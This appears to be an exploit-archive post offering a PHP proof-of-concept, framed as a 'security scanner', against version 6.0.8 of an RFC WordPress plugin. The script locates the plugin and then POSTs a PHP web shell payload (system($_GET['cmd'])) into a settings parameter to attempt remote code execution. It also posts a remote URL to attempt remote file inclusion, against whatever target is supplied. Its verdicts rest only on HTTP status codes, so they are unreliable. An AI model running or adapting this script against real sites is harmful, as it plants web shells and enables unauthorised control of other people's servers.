📄 WordPress RFC 6.0.8 Security Scanner

=============================================================================================================================================
    | # Title     : WordPress RFC Plugin 6.0.8 Security Scanner                                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/                                                                                              |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/179099/
    
    
    [+] Summary : 
                  The RFC WordPress Plugin version 6.0.8 contains critical security vulnerabilities that allow unauthenticated attackers to execute arbitrary code and include remote files on the target system.
    
    [+] POC :  
    
    php poc.php
    
    <?php
    
    class WordPressExploitTester {
        private $target;
        private $user_agent;
        
        public function __construct($target_url) {
            $this->target = rtrim($target_url, '/');
            $this->user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
        }
        
        public function test_plugin_existence() {
            $common_paths = [
                '/wp-content/plugins/rfc-wordpress/rfc.php',
                '/wp-content/plugins/rfc/rfc.php',
                '/wp-content/plugins/rfc-wordpress-plugin/rfc.php',
                '/wp-content/plugins/rfc-wp/rfc.php'
            ];
            
            echo "Testing plugin existence...\n";
            
            foreach ($common_paths as $path) {
                $url = $this->target . $path;
                $exists = $this->check_url_exists($url);
                
                if ($exists) {
                    echo "✓ Plugin found: $url\n";
                    return $path;
                } else {
                    echo "✗ Not found: $path\n";
                }
            }
            
            return false;
        }
        
        public function test_rce_vulnerability($plugin_path = null) {
            if (!$plugin_path) {
                $plugin_path = '/wp-content/plugins/rfc-wordpress/rfc.php';
            }
            
            $url = $this->target . $plugin_path;
            $payload = "<?php system(\$_GET['cmd']); ?>";
            
            $post_data = array(
                'rfc_action' => 'save_settings',
                'rfc_settings' => $payload
            );
            
            echo "Testing RCE at: $url\n";
            return $this->send_post_request($url, $post_data, "RCE");
        }
        
        public function test_rfi_vulnerability($plugin_path = null) {
            if (!$plugin_path) {
                $plugin_path = '/wp-content/plugins/rfc-wordpress/rfc.php';
            }
            
            $url = $this->target . $plugin_path . '?rfc_action=save_settings';
            $payload = "http://example.com/test.txt";
            
            $post_data = array(
                'rfc_settings' => $payload
            );
            
            echo "Testing RFI at: $url\n";
            return $this->send_post_request($url, $post_data, "RFI");
        }
        
        private function check_url_exists($url) {
            $ch = curl_init();
            
            curl_setopt_array($ch, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_NOBODY => true, // HEAD request فقط
                CURLOPT_TIMEOUT => 5,
                CURLOPT_USERAGENT => $this->user_agent,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false
            ));
            
            curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return ($http_code == 200);
        }
        
        private function send_post_request($url, $data, $exploit_type) {
            $ch = curl_init();
            
            curl_setopt_array($ch, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($data),
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_TIMEOUT => 10,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_USERAGENT => $this->user_agent,
                CURLOPT_HEADER => true // للحصول على ال headers
            ));
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            echo "HTTP Response Code: $http_code\n";
            
            if ($error) {
                return "❌ Error in $exploit_type: " . $error . "\n";
            }
            
            if ($http_code == 200) {
                return "✅ $exploit_type test completed - Potential vulnerability detected (HTTP 200)\n";
            } elseif ($http_code == 404) {
                return "❌ $exploit_type test failed - Plugin not found (404)\n";
            } elseif ($http_code == 403) {
                return "❌ $exploit_type test failed - Access forbidden (403)\n";
            } else {
                return "⚠️ $exploit_type test - HTTP Code: $http_code (May require further analysis)\n";
            }
        }
        
        public function full_scan() {
            echo "=== WordPress RFC Plugin Security Scanner ===\n";
            echo "Target: " . $this->target . "\n\n";
            
            // الخطوة 1: البحث عن المسار الصحيح
            $plugin_path = $this->test_plugin_existence();
            
            if (!$plugin_path) {
                echo "\n❌ RFC WordPress plugin not found on target.\n";
                echo "Possible reasons:\n";
                echo "- Plugin not installed\n";
                echo "- Different plugin name/path\n";
                echo "- Target is not WordPress\n";
                echo "- Access restrictions\n";
                return;
            }
            
            echo "\n✅ Plugin found! Starting vulnerability tests...\n\n";
            
            // الخطوة 2: اختبار الثغرات
            $result1 = $this->test_rce_vulnerability($plugin_path);
            echo $result1 . "\n";
            
            $result2 = $this->test_rfi_vulnerability($plugin_path);
            echo $result2 . "\n";
            
            echo "\n=== Scan Complete ===\n";
        }
    }
    
    // الاستخدام
    if ($argc > 1) {
        $target = $argv[1];
    } else {
        $target = "https://target.com"; // غير هذا بالهدف الحقيقي
    }
    
    echo "WordPress RFC Plugin Security Scanner\n";
    echo "=====================================\n\n";
    
    $tester = new WordPressExploitTester($target);
    $tester->full_scan();
    
    // استخدام بديل إذا أردت اختبار موقع محلي
    class LocalTest {
        public static function test_local_setup() {
            echo "\n=== Local Test Mode ===\n";
            
            $test_urls = [
                'http://localhost/wordpress',
                'http://127.0.0.1/wordpress', 
                'http://localhost:8080',
                'http://test.local'
            ];
            
            foreach ($test_urls as $test_url) {
                echo "Testing: $test_url\n";
                $tester = new WordPressExploitTester($test_url);
                $tester->test_plugin_existence();
                echo "---\n";
            }
        }
    }
    
    // لتفعيل الاختبار المحلي، أزل التعليق من السطر التالي:
    // LocalTest::test_local_setup();
    
    ?>
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================